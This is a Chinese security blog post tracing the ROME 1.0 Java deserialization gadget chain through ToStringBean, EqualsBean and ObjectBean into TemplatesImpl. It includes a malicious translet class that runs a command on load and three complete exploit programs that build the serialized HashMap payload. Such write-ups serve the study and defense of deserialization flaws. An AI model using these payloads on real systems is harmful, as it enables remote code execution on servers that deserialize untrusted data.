【Web】浅聊Java反序列化之Rome——EqualsBeanObjectBean

目录

简介

原理分析

ToStringBean

EqualsBean

ObjectBean

EXP

①EqualsBean直球纯享版

②EqualsBean配合ObjectBean优化版

③纯ObjectBean实现版


关于《浅聊Java反序列化》系列,纯是记录自己的学习历程,宥于本人水平有限,内容很水,经常会出现可以多篇合一篇的情况,但所幸同一个话题还是比较集中,真要翻起来不算太麻烦,仅供师傅们看个乐。

简介

ROME 是一个可以兼容多种格式的 feeds 解析器,可以从一种格式转换成另一种格式,也可返回指定格式或 Java 对象。ROME 兼容了 RSS (0.90, 0.91, 0.92, 0.93, 0.94, 1.0, 2.0), Atom 0.3 以及 Atom 1.0 feeds 格式。

Rome 提供了 ToStringBean 这个类,提供深入的 toString 方法对JavaBean进行操作,这也是问我们用Rome打反序列化的核心利用点

原理分析

一个一个类来看,慢慢梳理出调用链

ToStringBean

先来看其构造方法,接受两个参数 beanClassobj,并分别赋值给类的成员变量_beanClass和_obj

public ToStringBean(Class beanClass, Object obj) {this._beanClass = beanClass;this._obj = obj;}

再来看其“深入的toString方法”,有两种实现形式

很显然,toString() 方法内部首先获取相关信息,然后调用 toString(prefix) 方法

 public String toString() {Stack stack = (Stack)PREFIX_TL.get();String[] tsInfo = (String[])(stack.isEmpty() ? null : stack.peek());String prefix;if (tsInfo == null) {String className = this._obj.getClass().getName();prefix = className.substring(className.lastIndexOf(".") + 1);} else {prefix = tsInfo[0];tsInfo[1] = prefix;}return this.toString(prefix);}

 我们重点关注toString(prefix)

    private String toString(String prefix) {StringBuffer sb = new StringBuffer(128);try {PropertyDescriptor[] pds = BeanIntrospector.getPropertyDescriptors(this._beanClass);if (pds != null) {for(int i = 0; i < pds.length; ++i) {String pName = pds[i].getName();Method pReadMethod = pds[i].getReadMethod();if (pReadMethod != null && pReadMethod.getDeclaringClass() != Object.class && pReadMethod.getParameterTypes().length == 0) {Object value = pReadMethod.invoke(this._obj, NO_PARAMS);this.printProperty(sb, prefix + "." + pName, value);}}}} catch (Exception var8) {sb.append("\n\nEXCEPTION: Could not complete " + this._obj.getClass() + ".toString(): " + var8.getMessage() + "\n");}return sb.toString();}

核心逻辑是先是得到pds,再获取pds返回值中的方法名和方法,最后反射调用_obj类的该方法

这一段个人认为和jdk7u21原生反序列化有相像之处,感兴趣的师傅可以回顾一下品一品:

【Web】Java原生反序列化之jdk7u21——又见动态代理

这里要注意一点:

pds[i].getReadMethod()会限制调用的方式只能是getter&is,哪怕取到了setter也不能用

从设计理念的角度:toStringBean的作用就是生成一个传入的写定对象的字符串表示形式,我们只用对对象进行读操作(getter),而不需要对对象进行写操作(setter)

这也就注定了,ROME链是触发getter方法来进行利用的

OK话说回来,pds自何来?

让我们跟进BeanIntrospector.getPropertyDescriptors(this._beanClass)

其传入了this._beanClass作为klass

 public static synchronized PropertyDescriptor[] getPropertyDescriptors(Class klass) throws IntrospectionException {PropertyDescriptor[] descriptors = (PropertyDescriptor[])((PropertyDescriptor[])_introspected.get(klass));if (descriptors == null) {descriptors = getPDs(klass);_introspected.put(klass, descriptors);}return descriptors;}

这段代码实现了一个缓存机制,用于获取给定类的属性描述符数组。首先尝试从缓存中获取,如果缓存中没有,则调用特定的方法获取属性描述符数组,并将其存储到缓存中

跟进getPDs(klass)

private static PropertyDescriptor[] getPDs(Class klass) throws IntrospectionException {Method[] methods = klass.getMethods();Map getters = getPDs(methods, false);Map setters = getPDs(methods, true);List pds = merge(getters, setters);PropertyDescriptor[] array = new PropertyDescriptor[pds.size()];pds.toArray(array);return array;}private static Map getPDs(Method[] methods, boolean setters) throws IntrospectionException {Map pds = new HashMap();for(int i = 0; i < methods.length; ++i) {String pName = null;PropertyDescriptor pDescriptor = null;if ((methods[i].getModifiers() & 1) != 0) {if (setters) {if (methods[i].getName().startsWith("set") && methods[i].getReturnType() == Void.TYPE && methods[i].getParameterTypes().length == 1) {pName = Introspector.decapitalize(methods[i].getName().substring(3));pDescriptor = new PropertyDescriptor(pName, (Method)null, methods[i]);}} else if (methods[i].getName().startsWith("get") && methods[i].getReturnType() != Void.TYPE && methods[i].getParameterTypes().length == 0) {pName = Introspector.decapitalize(methods[i].getName().substring(3));pDescriptor = new PropertyDescriptor(pName, methods[i], (Method)null);} else if (methods[i].getName().startsWith("is") && methods[i].getReturnType() == Boolean.TYPE && methods[i].getParameterTypes().length == 0) {pName = Introspector.decapitalize(methods[i].getName().substring(2));pDescriptor = new PropertyDescriptor(pName, methods[i], (Method)null);}}if (pName != null) {pds.put(pName, pDescriptor);}}return pds;}

这段代码实现了根据类的方法获取其属性描述符数组的逻辑。通过遍历类的方法,在获取读取getter和setter方法并写入方法后,将它们合并为包含属性描述符的数组并返回。

那如果我们klass传入的是Templates.class,array中会存什么呢?打个断点看一眼:

可以看到拿到了我们的老熟人——getOutputProperties,即TemplatesImpl调用链的一环(不解释了)

既然这样,只要让ToStringBean的_obj属性为一个恶意TemplatesImpl对象,即可通过ToStringBean#toString的调用触发攻击

而toString自何来?

EqualsBean

先看其构造方法,顾名思义,果然equal

public EqualsBean(Class beanClass, Object obj) {if (!beanClass.isInstance(obj)) {throw new IllegalArgumentException(obj.getClass() + " is not instance of " + beanClass);} else {this._beanClass = beanClass;this._obj = obj;}}

初始化一个EqualsBean对象,确保传入的对象是指定类的实例,如果不是则抛出异常,否则将传入的类和对象分别赋值给类的成员变量_beanClass和_obj

重点关注其hashCode方法,调用了_obj的toString方法,这不就齐活了,我们只要传入obj为恶意ToStringBean对象就能连上上面讲的逻辑

 public int hashCode() {return this.beanHashCode();}public int beanHashCode() {return this._obj.toString().hashCode();}

而怎么调用EqualsBean#hashCode呢?

就是最典的URLDNS,以hashMap为反序列化入口就可

hashMap#readObject => hash(key) => key.hashCode() => EqualsBean#hashCode

但注意hashMap#put也会触发key.hashCode,如果不想弹两次计算器,我们要进行一些处理,先往map里put进一个fake恶意类,put完后再用反射去修改。具体操作请看EXP部分,不作赘述。

ObjectBean

先看其构造方法

public ObjectBean(Class beanClass, Object obj) {this(beanClass, obj, (Set)null);}public ObjectBean(Class beanClass, Object obj, Set ignoreProperties) {this._equalsBean = new EqualsBean(beanClass, obj);this._toStringBean = new ToStringBean(beanClass, obj);this._cloneableBean = new CloneableBean(obj, ignoreProperties);}

第一个构造函数 ObjectBean(Class beanClass, Object obj) 在内部调用了第二个构造函数 ObjectBean(Class beanClass, Object obj, Set ignoreProperties),并传递了一个空的 ignoreProperties 参数。
第二个构造函数 ObjectBean(Class beanClass, Object obj, Set ignoreProperties) 创建了三个子对象:_equalsBean、_toStringBean 和 _cloneableBean,分别是 EqualsBean、ToStringBean 和 CloneableBean 的实例。

接着看,ObjectBean的hashCode方法和toString方法也是直接分别调用EqualsBean和ToStringBean的对应方法。

从顾名思义的角度,ObjectBean可以通过传入的class和obj来生成三个子对象,并存进各自的字段里,应该是允许自由构造的。

但疑惑的是,因为ObjectBean其初始化方法也调用了EqualsBean的初始化方法,那不直接指定了传入的obj必须是class的实例了吗?相当于又加了一层桎梏。

不过不重要,对于这条链的构造已经够够的了。

我们完全可以用ObjectBean来代替实现ToStringBean和EqualsBean的效果,具体操作请看EXP③

public int hashCode() {return this._equalsBean.beanHashCode();}public String toString() {return this._toStringBean.toString();}

EXP

先导pom依赖

 <dependency><groupId>rome</groupId><artifactId>rome</artifactId><version>1.0</version></dependency><dependency><groupId>org.javassist</groupId><artifactId>javassist</artifactId><version>3.28.0-GA</version></dependency>

Evil.java

package com.rome;import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class Evil extends AbstractTranslet {//构造RCE代码static {try {Runtime.getRuntime().exec("calc");} catch (IOException e) {e.printStackTrace();}}public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
}

①EqualsBean直球纯享版

package com.rome;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javassist.ClassPool;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;public class Rome {public static void main(String[] args) throws Exception {byte[] code = ClassPool.getDefault().get(Evil.class.getName()).toBytecode();TemplatesImpl obj = new TemplatesImpl();setFieldValue(obj, "_bytecodes", new byte[][] {code});setFieldValue(obj, "_name", "xxx");setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());ToStringBean bean = new ToStringBean(Templates.class, obj);ToStringBean fakebean= new ToStringBean(String.class, obj);EqualsBean equalsBean = new EqualsBean(ToStringBean.class, fakebean);HashMap map = new HashMap();map.put(equalsBean, 1);  // 注意put的时候也会执行hashsetFieldValue(equalsBean, "_obj", bean);ByteArrayOutputStream baos = new ByteArrayOutputStream();ObjectOutputStream oos = new ObjectOutputStream(baos);oos.writeObject(map);oos.close();ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(baos.toByteArray()));Object o = (Object) ois.readObject();}public static void setFieldValue(Object obj, String fieldName, Object newValue) throws Exception {Class clazz = obj.getClass();Field field = clazz.getDeclaredField(fieldName);field.setAccessible(true);field.set(obj, newValue);}
}

②EqualsBean配合ObjectBean优化版

package com.rome;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javassist.ClassPool;import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;public class Rome {public static void main(String[] args) throws Exception {byte[] code = ClassPool.getDefault().get(Evil.class.getName()).toBytecode();TemplatesImpl obj = new TemplatesImpl();setFieldValue(obj, "_bytecodes", new byte[][] {code});setFieldValue(obj, "_name", "xxx");setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());ToStringBean bean = new ToStringBean(Templates.class, obj);EqualsBean equalsBean = new EqualsBean(ToStringBean.class, bean);ObjectBean fakeBean = new ObjectBean(String.class, "xxx");  // 传入无害的String.classHashMap map = new HashMap();map.put(fakeBean, 1);  // 注意put的时候也会执行hashsetFieldValue(fakeBean, "_equalsBean", equalsBean);ByteArrayOutputStream baos = new ByteArrayOutputStream();ObjectOutputStream oos = new ObjectOutputStream(baos);oos.writeObject(map);oos.close();ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(baos.toByteArray()));Object o = (Object) ois.readObject();}public static void setFieldValue(Object obj, String fieldName, Object newValue) throws Exception {Class clazz = obj.getClass();Field field = clazz.getDeclaredField(fieldName);field.setAccessible(true);field.set(obj, newValue);}
}

③纯ObjectBean实现版

package com.rome;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.ObjectBean;
import javassist.ClassPool;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;public class Rome {public static void main(String[] args) throws Exception {byte[] code = ClassPool.getDefault().get(Evil.class.getName()).toBytecode();TemplatesImpl obj = new TemplatesImpl();setFieldValue(obj, "_bytecodes", new byte[][] {code});setFieldValue(obj, "_name", "xxx");setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());ObjectBean tostringBean = new ObjectBean(Templates.class, obj);ObjectBean fakebean= new ObjectBean(String.class, "xxx");ObjectBean equalsBean = new ObjectBean(ObjectBean.class, fakebean);HashMap map = new HashMap();map.put(equalsBean, 1);  // 注意put的时候也会执行hashsetFieldValue(fakebean, "_toStringBean", getFieldValue(tostringBean,"_toStringBean"));// 序列化到文件ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("test.ser"));oos.writeObject(map);oos.close();// 从文件中反序列化ObjectInputStream ois = new ObjectInputStream(new FileInputStream("test.ser"));Object o = ois.readObject();ois.close();}public static void setFieldValue(Object obj, String fieldName, Object newValue) throws Exception {Class clazz = obj.getClass();Field field = clazz.getDeclaredField(fieldName);field.setAccessible(true);field.set(obj, newValue);}public static Object getFieldValue(Object obj, String fieldName) throws Exception {Class clazz = obj.getClass();Field field = clazz.getDeclaredField(fieldName);field.setAccessible(true);return field.get(obj);}
}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/735251.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Linux运维工具-ywtool-README.md

工具下载链接: 2024.2.29(目前最新)-ywtool工具下载链接 提取码&#xff1a;dhzt 目录 README.md备注:未完成:2023.2.18之前2023.1.282023.2.182023.2.202023.3.202023.4.42023.4.172023.5.212023.6.172023.7.152023.7.212023.7.262023.11.82023.11.29-2023.12.82023.12.13-202…

YOLOv5-Openvino-ByteTrack【CPU】

纯检测如下&#xff1a; YOLOv5-Openvino和ONNXRuntime推理【CPU】 YOLOv6-Openvino和ONNXRuntime推理【CPU】 YOLOv8-Openvino和ONNXRuntime推理【CPU】 YOLOv9-Openvino和ONNXRuntime推理【CPU】 注&#xff1a;YOLOv5和YOLOv6代码内容基本一致&#xff01; 全部代码Github&…

类与对象D13

0、什么是类与对象&#xff1a; 类&#xff1a;具有相同特征或者行为的一个群体&#xff1b; 对象&#xff1a;个体 类&#xff1a;模型&#xff08;造对象&#xff09; 对象&#xff1a;模型生出来&#xff08;造出来&#xff09;具体的东西。 1、实例属性和类属性的区别&a…

代码随想录Day43:最后一块石头的重量、目标和、一和零

最后一块石头的重量 class Solution { public:int lastStoneWeightII(vector<int>& stones) {int sum 0;for(int a : stones){sum a;}int target sum / 2;vector<int> dp(target 1, 0);for(int i 0; i < stones.size(); i){for(int j target; j >…

深入探索时间复杂度:解锁算法性能的关键

在算法的世界里,性能是王道。了解和优化算法的时间复杂度是每个算法工程师的必修课。本篇文章旨在深入探讨时间复杂度的概念、计算方法,以及如何通过时间复杂度来评估算法性能。通过生动的类比和详细的代码示例,我们将一起揭开时间复杂度的神秘面纱,让你轻松掌握这一核心概…

Linux--文件类型与权限

Linux上一切皆文件; 蓝色的是目录文件 Linux不以文件的扩展名来区分文件类型,而是在文件属性中有一列专门记录文件类型. ls -l 可以查看 普通文件:.c .cpp .h .txt .pdf .xls (-) 目录文件:文件夹 (d) 管道文件:用于进程间通信的一种文件 (p) 链接文件:相当于W…

一图看懂Redis持久化机制!

持久化策略 Redis 提供了两种持久化策略&#xff1a; RDB (Redis Database Snapshot) 持久化机制&#xff0c;会在一段时间内生成指定时间点的数据集快照(snapshot) AOF&#xff08;Append Only File&#xff09; 持久化机制&#xff0c;记录 server 端收到的每一条写命令&am…

【开发工具】认识Git | 认识工作区、暂存区、版本库

文章目录 一、Git初识git本质上是一个版本控制器 二、Git的安装 - CentOS三、Git基本操作1. 创建Git本地仓库2. 配置Git3. 认识工作区、暂存区、版本库4. 版本回退5. 撤销修改情况1&#xff1a;对于工作区的代码&#xff0c;还没有add情况二&#xff1a;已经add &#xff0c;但…

OB_GINS学习

OB_GINS学习 组合导航中的杆臂测量加速度计的零偏单位转换受到经纬度以及高程影响的正常重力位的计算公式大地坐标系&#xff08;LBH&#xff09;向空间直角坐标系&#xff08;XYZ&#xff09;的转换及其逆转换导航坐标系&#xff08;n系&#xff09;到地心地固坐标系&#xff…

【Prometheus】DataModel

数据模型 DataModel 指标 Metric metric 包含 metric name 和 metric label 格式&#xff1a; <metric name>{<label name><label value>, ...}例如&#xff1a;服务器 HTTP 接口 /messages 的总请求数 api_http_requests_total{method"POST",…

创建机器学习系统及一些思想

我们在创建一个优秀的神经网络需要一个漫长的循环过程。 先选择一个架构&#xff0c;再对我们的架构进行训练&#xff0c;最后诊断我们的误差&#xff0c;再回到我们重新的循环&#xff0c;直到我们的神经网络足够优秀。这就是机器学习迭代的过程。 误差分析&#xff1a; 我…

【嵌入式——QT】MDI应用程序设计

MDI应用程序就是在主窗口里创建多个同类型的MDI子窗口&#xff0c;这些MDI子窗口在主窗口里显示&#xff0c;并享受主窗口上的工具栏和菜单等操作功能&#xff0c;主窗口上的操作都针对当前活动的MDI子窗口进行。 图示 代码示例 QWMainWindow.h #ifndef QWMAINWINDOW_H …

悬浮工具球(仿 iphone 辅助触控)

悬浮工具球&#xff08;仿 iphone 辅助触控&#xff09; 兼容移动端 touch 事件点击元素以外位置收起解决鼠标抬起触发元素的点击事件问题 Demo Github <template><divref"FloatingBal"class"floating_ball":class"[dragging, isClick]&q…

MT笔试题

前言 某团硬件工程师的笔试题&#xff0c;个人感觉题目的价值还是很高的&#xff0c;分为选择题和编程题&#xff0c;选择题考的是嵌入式基础知识&#xff0c;编程题是两道算法题&#xff0c;一道为简单难度&#xff0c;一道为中等难度 目录 前言选择题编程题 选择题 C语言中变…

Revit-二开之创建几何形体-拉伸体-(9)

创建拉伸体的API Autodesk.Revit.Creation.FamilyltemFactory 类: public Extrusion NewExtrusion(bool isSolid, CurveArrArray profile, SketchPlane sketchPlane, double end);参数说明: • isSolid:拉伸是实体还是剪切体 True 是拉伸体 false是剪切体 • profile: —个平…

SpringBoot中RestTemplate 发送http请求

SpringBoot中RestTemplate 发送http请求 引入fastjson <!--fastjson--> <dependency><groupId>com.alibaba</groupId><artifactId>fastjson</artifactId><version>2.0.47</version> </dependency>创建配置文件 新建c…

C语言指针、数组学习记录

指针 指针是什么 数据在内存中存放的方式 声明一个变量int i 3;&#xff0c;那么在内存中就会分配一个大小为4字节&#xff08;因为int类型占4字节&#xff09;的内存空间给变量i&#xff0c;这块内存空间存放的数据就是变量i的值。 换句话说就是&#xff0c;在内存中给变…

android WiFI连接,socket连接

WifiNetworkSuggestion WifiNetworkSpecifier Android 10 Wifi连接&#xff08;一&#xff09; - 掘金 (juejin.cn) 少走弯路&#xff0c;一步到位&#xff1a; kotlin - android addNetworkSuggestion doesnt works - Stack Overflow Android10 Wifi连接后Socket通信 An…

空间复杂度(数据结构)

概念&#xff1a; 空间复杂度也是一个数学表达式&#xff0c;是对一个算法在运行过程中临时占用存储空间大小的量度 。 空间复杂度不是程序占用了多少bytes的空间&#xff0c;因为这个也没太大意义&#xff0c;所以空间复杂度算的是变量的个数。空间复杂度计算规则基本跟实践复…

Grafana dashboards as ConfigMaps

文章目录 1. 简介2. 创建 configmaps3. grafana 界面查看 1. 简介 将 Grafana 仪表板存储为 Kubernetes ConfigMap 相比传统的通过 Grafana 界面导入仪表板有以下一些主要优点: 版本控制&#xff1a; ConfigMap 可以存储在版本控制系统(如Git)中,便于跟踪和管理仪表板的变更历…